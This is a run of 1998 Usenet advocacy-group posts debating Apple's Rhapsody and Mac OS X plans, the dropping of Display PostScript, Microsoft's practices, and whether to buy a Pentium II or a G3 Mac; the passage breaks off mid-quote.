References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net> <Josh.McKee-2405980959090001@pm3a10.rmac.net> <6k9gh7$5lk$1@nargun.cc.uq.edu.au> <ericb-2405981851440001@132.236.171.104> <6kc8v2$4bu$2@ligarius.ultra.net>
In article <6kc8v2$4bu$2@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> I'm not saying that any of this is convenient or that I think it's a good
> idea. But if these are the rules there are simple ways around them.
And if you do that, Microsoft will notice and change the rules.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
The right of every man to work, labor, and produce . . . on equal terms [is]
industrial liberty and lies at the foundation of the equality of all rights
and priviliges.
- Senator John Sherman
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 26 May 1998 15:15:00 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2605981515000001@132.236.171.104>
References: <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <ericb-2405981848570001@132.236.171.104> <6kai2u$89m$1@gte2.gte.net>
In article <6kai2u$89m$1@gte2.gte.net>, rfelts@. (Roger Felts) wrote:
> On Sun, 24 May 1998 18:48:57 -0400, Eric Bennett wrote:
>
> >For starters, try here:
> >http://www.around.com/microsoft.html
> >
> >=====
> >In the 1980's, Microsoft executives often spoke of a "Chinese wall"
> >between the systems group, responsible for DOS and Windows, and the
> >applications group, responsible for the programs that ran in those
> >operating environments. Ballmer himself once said there was "a very clean
> >separation" -- "It's like the separation of church and state." Competitors
> >were dubious, knowing that all neurons at Microsoft led to Bill Gates;
> >these days Microsoft executives take a different tack. They deny that the
> >concept of a Chinese wall ever existed. They admit that their own
> >developers sometimes get an edge in knowing how to take advantage of new
> >Windows features before the knowledge spreads to competitors.
>
> And again, the proof? All I see is more assertion.
The author says that Microsoft execs admit it:
"They admit that their own developers sometimes get an edge in knowing how
to take advantage of new Windows features before the knowledge spreads to
competitors."
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
The right of every man to work, labor, and produce . . . on equal terms [is]
industrial liberty and lies at the foundation of the equality of all rights
and priviliges.
- Senator John Sherman
From: handleym@ricochet.net (Maynard Handley)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: OpenGL and Altivec
Date: Tue, 26 May 1998 16:24:32 -0700
Organization: Me and no-one else
Message-ID: <handleym-2605981624320001@handma.apple.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <rex-2205980058440001@192.168.0.3> <rmcassid-2205981007210001@dante.eng.uci.edu> <see-below-2205982233210001@209.24.240.37> <356662FD.D56CC983@nstar.net> <rmcassid-2305980010180001@dialin9223.slip.uci.edu> <3566CEAC.EC53C221@nstar.net> <rmcassid-2505982311390001@dialin9062.slip.uci.edu> <356AD3B0.5FA67D27@nstar.net>
In article <356AD3B0.5FA67D27@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
>
> No, not really. Portability is the goal. Integration is what 3rd-parties
> do, like Mark Kilgard's GameGLUT API. Those people will write the
> necessary code to optimize their work for QuickTime, DirectPlay, etc.
> wherever necessary. For the OS vendor to do that would be a big mistake.
>
> This AltiVec/QuickTime strategy sounds more like it ties QuickTime to
> the Macintosh. By contrast, I favor a strategy that ties other platforms
> to QuickTime. [scream] This is so simple, I can't understand why it's
> not being done.
>
> > > What happens if I write a QTML program using OpenGL and try to port it
> > > elsewhere? I see problems.
> >
> > Why? Why would it not go anywhere that QTML goes?
>
> Precisely.
So let's see.
Apple has said nothing about what it will or won't do with OpenGL.
Apple has said nothing about what it will or won't do with 3D and Altivec.
Apple has said nothing about killing RAVE or anything else that would
imply their no longer being able to use 3rd party custom-3D hardware.
Apple HAS said many times that they want to see QT as widely cross
platform as possible.
Now based on all this, you believe whatever pinheaded rumors you come
across and start jumping up-and-down about Apple's supposed writing OpenGL
in AltiVec tied into QT and running only on Macs?
You might want to consider a little more closely the difference between
what Apple has actually said and demonstrated, and the random nonsense you
read on Usenet.
Maynard
--
My opinion only
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us> <3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu> <see-below-2305981551320001@209.24.241.7> <6k8hvm$d4k$1@mamenchi.zrz.TU-Berlin.DE>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35696998.0@nnrp1.news.uk.psi.net>
Date: 25 May 98 12:52:40 GMT
Axel Habermann <kiwi@saljut.fb10.tu-berlin.de> wrote:
>Matthew Vaughan <see-below@not-my-address.com> wrote:
>: In article <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu>,
>: rkt1@cornell.eduz (Tapella) wrote:
>
>: > As far as I can tell, the worst loss is the "look" of the UI rather than
>: > the "feel". The MacOS UI is well-planned and efficient.
>
>: I remember a year ago all the Next developers were complaining about how
>: sucky the Mac interface was compared to OpenStep, but they've been pretty
>: silent since. I was wondering if that was the NDA at work, or whether some
>: have actually changed their minds. I haven't used OpenStep or Rhapsody so
>: I can't compare, but I'm curious what you all think of the Mac interface
>: (at least as implemented in DR1/DR2) now?
>
<SNIP>
>Basically the same complaints as before. Many things have become
>worse. There are some improvements, though:
>
I'm afraid I have to agree with this - the Rhapsody DR2 UI (at WWDC) is (despite a
few improvements) markedly inferior in terms of functionality and ease-of-use than
the NeXT/OPENSTEP UI.
But what the hell - it's still (just) better than everthing else available.
What irritates me is the mindless way in which things seem to have been needlessly
crippled to make it look like MacOS rather than support two styles of operation.
I don't understand the reasoning that says that Rhapsody should ONLY support the
'advanced mac look and feel' and may not have the option of a better UI too.
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: Tue, 26 May 1998 16:42:44 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-2605981642440001@192.168.0.3>
References: <joe.ragosta-1905980811270001@wil104.dol.net> <B18713C2-1ED4E@206.165.43.112> <3561d7b1.0@news.depaul.edu> <rex-1905981816130001@192.168.0.3> <6k6e1i$sr4$9@ironhorse.plsys.co.uk> <rex-2305981101130001@192.168.0.3> <3566E50C.257D56A2@trilithon.com> <rex-2405980239210001@192.168.0.3> <6k9qea$d5n$1@ironhorse.plsys.co.uk> <rex-2505980225090001@192.168.0.3> <EtJ82o.p7@basil.icce.dev.rug.null.nl>
In article <EtJ82o.p7@basil.icce.dev.rug.null.nl>,
tom@basil.icce.dev.rug.null.nl (Tom Hageman) wrote:
:rex@smallandmighty.com (Eric King) wrote:
:> Have we? Let's see, in the beginning of these debates we said that
:> Apple should not use DPS as the primary imaging engine because we had
:> doubts about its performance and because it belonged to Adobe.
:> You guys told us that it would be a *huge* task to remove DPS from the
:> Appkit, and that it made no sense to remove it because 'It just works' You
:> also assured us that it had no performance problems and that Adobe would
:> have to be crazy not to come to reasonable licensing terms with Apple.
:> There was also blather about how you needed DPS for true WYSIWYG, EPS
:> support, NSHosting, how the publishing market was absolutely drooling over
:> it, how it was one of the fastest RIPs in existence etc. etc.
:> So where are we today?
:
:Yep, it's the old Apple tune "snatching defeat from the jaws of victory"
again.
:<sigh...>
No, I think it's more that the new management just did *not* understand
the new markets they were entering. They also drove and laid off a lot of
people who *did* understand those markets. There could never have been a
victory as long as DPS belonged to Adobe. And Adobe would much rather kill
the product than sell it to someone else.
Still it's surprising that it took this long for Apple to decide to
drop DPS. You've gotta wonder what other nasty little surprises they've
got in store for everyone.
:(For the record, I'm one of "you guys". (And boy do you make us feel like part
:of the happy family:-))
Well, given sufficient time, Apple will screw over and piss off
OpenStep developers and users to roughly the same extent that they have
screwed over and pissed off Mac developers and users. Then we'll all be in
the same boat. :)
-Eric
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 26 May 1998 21:14:43 GMT
Message-ID: <6kfbc3$on2$1@newsfep2.sprintmail.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <6kf8b2$kbk@bgtnsc02.worldnet.att.net>
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In <6kf8b2$kbk@bgtnsc02.worldnet.att.net> DC wrote:
> macghod@concentric.net wrote:
> >
> > I am looking to buy a computer. It MUST run the best operating system in
the
> > world.
> > So that narrows things down to a pentium or a g3 mac (or 604e mac). A
233 g3
> > is definitely fast enough for me, as is a p2 300. But a g3 233 costs
$1500
> > mail order, and this does not even have the tower case that the p2 has.
> > Plus, look what one can get for much less: A LOT MORE!!
> >
> > Pentium II 300Mhz System¤
> >
> > Intel Pentium II processor,
> > M715¤ motherboard,
> > 64Mb SDRAM,
> > L2 Pipelined Burst Cache, 512k,
> > 4.3Gb IDE hard drive,
> > 4Mb AGP 3D graphics accelerator,
> > 17" NI .28dp SVGA Color Monitor,
> > 32-speed CD-Rom drive with audio,
> > 3 1/2" floppy drive,
> > 56k¤ fax/modem/voice,¤
> > 16-bit on board sound,
> > speakers, 320 watt, surround sound (not shown)
> > mid-tower case, 250watt power supply
> > Microsoft compatible mouse,
> > microphone,
> > keyboard,
> > 1 year parts & labor warranty.
> >
> > All this for only $1285!!! I can probably sell my dad the 17 inch
monitor
> > for $300, so this would be only $1000!!! compared to $1500 for the mac
g3.
> > And not only does the mac g3 not in the tower case, but it doesnt have
the 4
> > megs of vram, the 64 megs of ram, and the 56 k modem!! To get the g3 up
to
> > this, without having to spend $100 per item to have it put in, you have
to
> > use apples bto store. Adding the ram to 64 megs, adding vram, and adding
a
> > modem raises the price to over $2000!!!!! Using a minitower its over
$2200!!
> Number one, if you want to run the best OS in the world, that eliminates
> the PII, no?
HAHAHAHAHAHAHAHA, what do you consider the best os in the world? I hope you
dont mean the macos which crashes alot, and crashes bring down the entire
system. Macos (AND windows) are HARDLY the best os's in the world. I guess
you havent used openstep now have you?
> Second, consider the quality of that PII you priced out. Where is this
> box from? Joe Schlemlo's Computer Corner?
No. Let us consider the quality of the parts. 4.3Gb IDE hard drive- same
as in g3
4Mb AGP 3D graphics accelerator- decent card, and will work with openstep.
Let me guess, because it isnt sold by a huge company like APPLE it sucks huh?
Well let me give you a free clue, sometimes buying from big huge company
sucks.
You call them for support, and they demand that you give them your credit
card number, just in case the hardware problem you called about turns out to
be a software problem, so they can charge you $30. Or take microsoft, buy
directly from them, and you have to pay $30 just to talk to a tech support
person.
My dad bought his pc from carl industries. I have to tell you its support
ROCKS. You call them up via their 800 number, and you get a tech support
person within a couple of minutes
>A 17" monitor worth $300?
NO!!! I said I would sell it to my dad for $300, doesnt mean its worth $300.
Probably sells new for $400, but hey, we are talking about my dad!! Gotta
cut the price substantially!!
> Must
> be a piece of shit! I can't remember ever seeing a GOOD 17" for under
> $600...
So, its a $400 monitor!! I already have a 17 inch trinitron.
>The Mac's sound is comparable, if not superior, to what this PII
> probably has.
You are so unbelievably full of it!! The macs sound does not even come
close to that of a p2 with 16 bit sound blaster and 320 watt, surround sound
speakers. You are just a blind mac troll if you believe this. YES, they
most definitely arent bose speakers. But they are decent $60 speakers, the
kind that if you put on a mac, it would make the mac sound ALOT better.
I know someone who spent $30 on some tiny weeny sony speakers for his mac,
and the thing sounded much better
>I've seen plenty of my co-workers buy a system just like
> yours with the speakers included. And let's just say they weren't of
> Bose quality.....
> So that leaves you with the need for RAM and a modem. 32 MB is around
> $80. Modem....I've seen the 56K GV Platinum for $110.
> Yeah, you might be paying a bit more, but remember you get what you pay
> for. As our friend Butthead always said: "You can't polish a turd,
> Beavis."
If you think a 233 g3 STOCK running macos 8.1 is better than the above p2
running OPENSTEP (or rhapsody), you are so incredibly clueless, its sad.
Its mac people like you that are fricking the hell out of APple. Apple is
killing rhapsody because of clueless people like you who whine their should
only be one os, the macos. Its really fricking sad. Lots of Next people are
sad about this too, look at a response from a rhapsody mailling list:
>I have gotten quite a few responses from mac users who think "apple should
just have macos, screw
>everything else". It scares the living shit out of me!!!
Now you understand...
You should be scared, but I think it's probably too late...
Think of everything bad that you could possibly think of happening to
NeXT tech, and you'll probably nail it. I have so far.
Of course, one can't just ~say~ these things.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: gar@lisi.com (Garrett Lisi)
Newsgroups: comp.sys.next.advocacy
Subject: upgrade path trauma
Date: 26 May 1998 20:56:03 GMT
Organization: University of California at San Diego
Message-ID: <6kfa93$h2s$1@news1.ucsd.edu>
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I've been a happy NeXT user for the past 6 years or so, hammering away
on an aging orphaned color nextstation with a nice big 21" monitor. Even
wrote some code here and there and loved building GUI front ends with
Interface Builder just because it made it so easy. I love the way everything
just works together with object oriented apps. But now I am living in the
past,
and its time to move on.
What I'd like to do is buy a laptop and use the nextstation as a terminal
interface and printserver (once you've had 21" there's no going back) via
an ethernet connection. However, now that Apple has dropped NXHosting
and DPS, the option of buying a spiffy G3 and running Apple's OS of the
month has become unattractive. And running OS4.2 on both machines would
be great for a year, but its a dead end. So now I'm thinking that by putting
Linux on a pc-laptop I could still use the nextstation as an X-windows client
as well as a printserver far into the foreseeable future, and be joining a
growing
community that is committed to the development and exchange of good free
software (the NeXT community used to be this way, and I suspect many
have made this migration).
So I have two questions for the NeXT community:
1) How and why, as a user and hobbyist-developer, should I stay with Apple's
moving target of an OS, and how do I keep my 21"?
and, alternatively
2) Does any former NeXTie have a Linux-PC and nextstation living happily as
blood brothers with an ethernet link? And am I right that Linux is the
future
and I'm best to take this path?
Change is good,
-Garrett
--
.-===_ A. Garrett Lisi ^+^ Gar@Lisi.com
.' / \ ^+^ http://gar.lisi.com
.' |\o \ Physics Department and
-' | h\ Institute for Nonlinear Science ___/(_
\^ University of California, San Diego ='____.\
`~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'~~~~\{~
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 27 May 1998 00:34:36 GMT
Message-ID: <6kfn2s$1gk$1@newsfep2.sprintmail.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <6kfbc3$on2$1@newsfep2.sprintmail.com>
<6kfcg2$3pc$1@crib.bevc.blacksburg.va.us> <6kffii$r8n$2@newsfep2.sprintmail.com>
<6kfgig$3vc$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6kfgig$3vc$1@crib.bevc.blacksburg.va.us> Nathan Urban wrote:
> There you go jumping to completely unwarranted conclusions. And the
> answer he gave is an answer _I_ might have given: the OS that I want to
> run, and the one that I think will be the best, will not run on a PII.
>> > And I am talking about buying a computer NOW.
Well, the os you are talking about, macos x will be out in what, 1.5 years?
Maybe even 2 years?
Maybe it wont run on p2's, who knows. Will macos x be better then rhapsody
cr1? Being a openstep user, you may miss some of the features that may be
lacking from macos x. Of course, given how long macos x is off, who knows.
I would say that since macos x is supposedly going to be a consumer os, it
probably wont run on intel, and it will probably lack alot of the unix
interface of OS 4.2.
> Do you plan on using it for more than a year? Because if I were buying
> a computer now, I'd buy a Mac, so I would be sure of being able to run
> MacOS X.
I would probably use it no more than 2 years. Macos x isnt going to be out
for a long time, plus do you really think it will be better than rhapsody?
TO me it seems like a dumbed down rhapsody.
> > > > Think of everything bad that you could possibly think of happening to
> > > > NeXT tech, and you'll probably nail it. I have so far.
>
> > > I think you're overreacting. I've been using that technology for
> > > longer than you have (3 years) as my primary operating system, and
> > > I think that in MacOS X I am getting an overall improvement on it.
> > > Sure, some things have been lost, including some things I really like,
> > > but there are lots of new good things too.
>
> > No, I am not overreacting because that quote isnt mine. It is a quote of
a
> > Next user/developer.
>
> Oh please, don't give me that. It doesn't matter who wrote it, you
> quoted it in support of your argument which means you agree with it.
> Or do you mean to claim that you quoted something you felt was entirely
> irrelevant to the argument you were making, for no apparent reason?
My point was that next developers are worried. That quote backs that up.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: "Zico" <ZicoKnows@hotmail.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: Tue, 26 May 1998 20:15:05 -0400
Organization: ISPNews http://ispnews.com
Message-ID: <6kfm69$g0d$1@news12.ispnews.com>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6juunr$1od$1@crib.bevc.blacksburg.va.us> <joe.ragosta-2005981413320001@wil112.dol.net> <35642BED.C74CB80B@milestonerdl.com> <6k8ebo$vja$1@news.orbitworld.net> <joe.ragosta-2405980800010001@elk60.dol.net> <35699E1E.C8C20389@localhost.localdomain> <6kd7o6$13a62@odie.mcleod.net> <3569CE69.5174@earthlink.net> <6kdqvv$rf1$1@news12.ispnews.com> <6kf591$pp4$1@nntp2.ba.best.com>
NNTP-Posting-Date: 27 May 1998 00:19:21 GMT
x-no-archive: yes
MR_boxster wrote:
>Zico wrote:
>
>>What is the price for Rhapsody on Intel going to be? If it's
>>more than 250 bucks, then Jobs probably didn't even need
>>to "steve" it himself. If it's under 100, I'll try it.
>
>More important... Will it have support for my new whizbang peripherals. Who
>cares if its better if it doesn't support my hardware.. E.G. look at Linux,
>its usually 1 generation behind in video card drivers.
Well, i like trying new stuff out and playing around with it--I
don't mind dropping a hundie to play around. As long as I could
get it to run without having to buy *new* hardware, I can throw
some old hardware at it if that's what it takes to make it
go. Like for Be, I knew ahead of time that it wouldn't
support my SCSI drives, IntelliMouse, sound card, or x2 modem,
but I had the older parts lying around to jam in my computer.
I'm not going into it with plans of replacing the other OSes
that I use, I'd just like to kick the tires a bit.
Z
From: agave@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: Tue, 26 May 1998 22:53:02 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6kfh4f$6k9$1@nnrp1.dejanews.com>
Hi,
One aspect of the change that I haven't seen discussed is rasterization of
the image description. Even if you have PDF as your native image format and
a PDF native printer doesn't that leave one hole? A certain image, described
in PDF, may still be drawn to the screen differently than it will be drawn by
the printer due to different rasterization algorithms. Say the PSLineTo() in
the graphics library uses a different line algorithm than the PSLineTo() on
the printer. Does this make any sense or am I missing something fundamental?
Thanks,
Ian P. Cardenas
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Ummm, excuse me, mr jobs?
Date: 27 May 1998 01:36:43 GMT
Message-ID: <6kfqnb$4jj$1@newsfep2.sprintmail.com>
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I meant to post this a few days ago, but forgot.
A couple of days ago, I was watching a wwdc quicktime, and Jobs was comparing
the
new g3 to pc notebooks. He really went off on the pc notebooks. Funny
thing I thought, has
Steve even switched to a mac yet? I would see no reason why he wouldnt be
using a g3 292 with 14 inch screen and rhapsody dr2. Whether he has switche
yet or not, he used pc's for so long it was kind of amusing how he went off
on the pentium notebooks. Has anyone emailed him and asked him what he
uses?
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 27 May 1998 01:37:30 GMT
Organization: Idiom Communications
Message-ID: <6kfqoq$rql$1@news.idiom.com>
References: <6kfh4f$6k9$1@nnrp1.dejanews.com>
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Cc: agave@my-dejanews.com
agave@my-dejanews.com may or may not have said:
-> Hi,
->
-> One aspect of the change that I haven't seen discussed is rasterization of
-> the image description. Even if you have PDF as your native image format
and
-> a PDF native printer doesn't that leave one hole?
No, not really. The only real difference is that when you're rasterizing for
the screen, you're working with a much lower resolution than the printer.
What you see won't really be what you get until we get our hands on 300 (or
600!) DPI displays.
-> A certain image, described in PDF, may still be drawn to the screen
-> differently than it will be drawn by the printer due to different
-> rasterization algorithms. Say the PSLineTo() in the graphics library uses
-> a different line algorithm than the PSLineTo() on the printer. Does this
-> make any sense or am I missing something fundamental?
What you're missing is the fact that Adobe says what rendering algorithms are
used. A bezier curve is a bezier curve whether you write it or I write it.
Same with lines and even-odd rule fills.
-jcr
From: mr_boxster@nospam_yahoo.com (MR_boxster)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: Tue, 26 May 98 23:08:07 GMT
Message-ID: <6kfi4n$452$1@nntp2.ba.best.com>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6kesfn$c5r$6@ns3.vrx.net>
In article <6kesfn$c5r$6@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz)
<6juunr$1od$1@crib.bevc.blacksburg.va.us> <joe.ragosta-2005981413320001@wil112.dol.net>
<35642BED.C74CB80B@milestonerdl.com> <6k8ebo$vja$1@news.orbitworld.net>
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<6kdqvv$rf1$1@news12.ispnews.com> <6kf591$pp4$1@nntp2.ba.best.com> wrote:
>In <6kf591$pp4$1@nntp2.ba.best.com> MR_boxster claimed:
>> More important... Will it have support for my new whizbang peripherals. Who
>> cares if its better if it doesn't support my hardware.. E.G. look at Linux,
>> its usually 1 generation behind in video card drivers.
>
> And doing very well, thank you. What is your point here?
Care to elaborate? Does Rhapsody for Intel have video capture drivers? How
about video drivers for the Matrox Millenium II, AWE 64 Gold soundcard?
The point is... The OS will not be attractive to users if they can't use their
hardware.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: OpenGL and Altivec
Date: 26 May 1998 16:41:34 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kerbu$c5r$1@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6ke3dg$n7a$1@ns3.vrx.net>
<6kei7p$345$1@crib.bevc.blacksburg.va.us> <6kehl5$51v$1@ns3.vrx.net>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6keno6$3dq$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> Presumably this is what you were talking about, but I guess I'll have
> to wait for the Stepwise article?? :-/
Because it's highly political right now. Sorry I can't say more, but it's
very likely I'll get in a LOT of trouble and I'd rather just have you read
about it on your own.
But do you see how it could be useful to QT now?
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: 26 May 1998 16:59:53 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kese9$c5r$5@ns3.vrx.net>
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us>
<3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu>
<see-below-2305981551320001@209.24.241.7> <6k8hvm$d4k$1@mamenchi.zrz.TU-Berlin.DE>
<35696998.0@nnrp1.news.uk.psi.net>
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Cc: richard@brainstorm.co.uk.
In <35696998.0@nnrp1.news.uk.psi.net> Richard Frith-Macdonald claimed:
> I don't understand the reasoning that says that Rhapsody should ONLY
support the
> 'advanced mac look and feel' and may not have the option of a better UI
too.
Who says it does? How do you know this isn't a manpower issue. Apple HAS
to offer a Mac interface on it, everything else is gravy.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 26 May 1998 16:58:47 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kesc7$c5r$4@ns3.vrx.net>
References: <6kejq7$6na$1@bartlet.df.lth.se> <B1906698-5F2F7@206.165.43.154>
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Cc: english@primenet.com
In <B1906698-5F2F7@206.165.43.154> "Lawson English" claimed:
> Falsehoods or misconceptions?
Yes.
> Besides, some of my "falsehoods" have been
> used by Apple as rationalizations for why DPS has been dropped
Which?
> And, as for the inverseability of 3x2 matrices...
Who cares?
> I'd rather be able to edit 3D-perspectivized text
Another demonstration of bizzare way your brain works.
> (something that most
> people that ever do anything more than simple text-processing would like to
> be able to do in letters to friends, posters, etc)
Har!
> and if you truely need
> an invertable matrix, don't use the non-affine features of the 3x3.
Ahhh, good solution!
> I mean, really. To suggest that having too many options is a Bad Thing
> because some of those options don't allow one to do Something Else is,
> well, silly.
No it's not, it's typically an obvious example of GOOD DESIGN. For
instance, contrast the X mess with the OpenStep goodness.
> If you need to do that Something Else, don't use those options that
> preclude that Something Else, but for heaven's sake, don't prevent people
> that don't care about that Something Else from doing the other things in
> the first place.
What if those Something Else options makes everybody's software break?
Is it just me or does anyone else get the feeling the first time Lawson
ever saw the term "matrix" was about one year ago?
> In fact, FreeHand 8.0 allows one to apply perspective to text and other
> graphics so obviously it is useful to SOME people.
High end DPS designers and artists, yes.
> Since QDe is really just the graphics primitives of DPS directly exposed, a
> 3x3 matrix can't currently work, BUT you could create an API that provided
> a 3x3 matrix as the default transform matrix
Great, go ahead and post it to Peanuts when you're done.
Maury
From: "Ryan" <ryanjb@velocity.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com>
Subject: Re: It would be nice to own a g3 BUT....
Date: Tue, 26 May 1998 18:24:16 -0400
Message-ID: <356b4232.0@news.velocity.net>
Ok , I would get the P2 system BUT.... Since you are buying from some no
name place (I asume) then the 300Mhz P2 is most likely fake, it could be a
266 or 233 overclocked to 300Mhz. I would make sure you express that you
want a Genuine Pentium 2 300Mhz.
The reason I would go with the P2 system is clear.... The video card is most
likely a RIVA 128 card (The best 2D/3D chipset out) if it is not I would
request one. Macs simply can't match PC's graphic hardware, most graphics
chipsets that come on Macs are integrated on the motherboard and are a JOKE.
The PC gives you alot more choices, want a Voodoo 2? maybe not now, but if
you do the option is always there, unlike the Mac. If a Mac user even saw
what new 3D cards coming out for the PC are like they would be amazed. Want
the anticipated RIVA TNT? You will be able to get it for PC, but not for
Macs.
As far as the best OS in the world, Window 95 is good OS. For me it is
stable, and fast. I love Windows interface, my MSWheel saves alot of time
by not having to go to a scroll bar to move around in a webpage or such.
The right mouse button is great, it is good for alot of things from games to
regular Windows operations. Windows looks alot better too *ME*, but you may
have a differant veiw. To me Mac OS is good but its just not what I like.
If you are gamer Windows 95/98 is a must. Quake 2 for example is not
available for macs and the MacQuake port is bad (speed wise).
It is all up to you, but I would go with the PC (Pentium 2).
macghod@concentric.net wrote in message
<6kf6jk$mcf$1@newsfep2.sprintmail.com>...
>I am looking to buy a computer. It MUST run the best operating system in
the
>world.
>So that narrows things down to a pentium or a g3 mac (or 604e mac). A 233
g3
>is definitely fast enough for me, as is a p2 300. But a g3 233 costs $1500
>mail order, and this does not even have the tower case that the p2 has.
>Plus, look what one can get for much less: A LOT MORE!!
>
>Pentium II 300Mhz System€
>
> Intel Pentium II processor,
> M715€ motherboard,
> 64Mb SDRAM,
> L2 Pipelined Burst Cache, 512k,
> 4.3Gb IDE hard drive,
> 4Mb AGP 3D graphics accelerator,
> 17" NI .28dp SVGA Color Monitor,
> 32-speed CD-Rom drive with audio,
> 3 1/2" floppy drive,
> 56k€ fax/modem/voice,€
> 16-bit on board sound,
> speakers, 320 watt, surround sound (not shown)
> mid-tower case, 250watt power supply
> Microsoft compatible mouse,
> microphone,
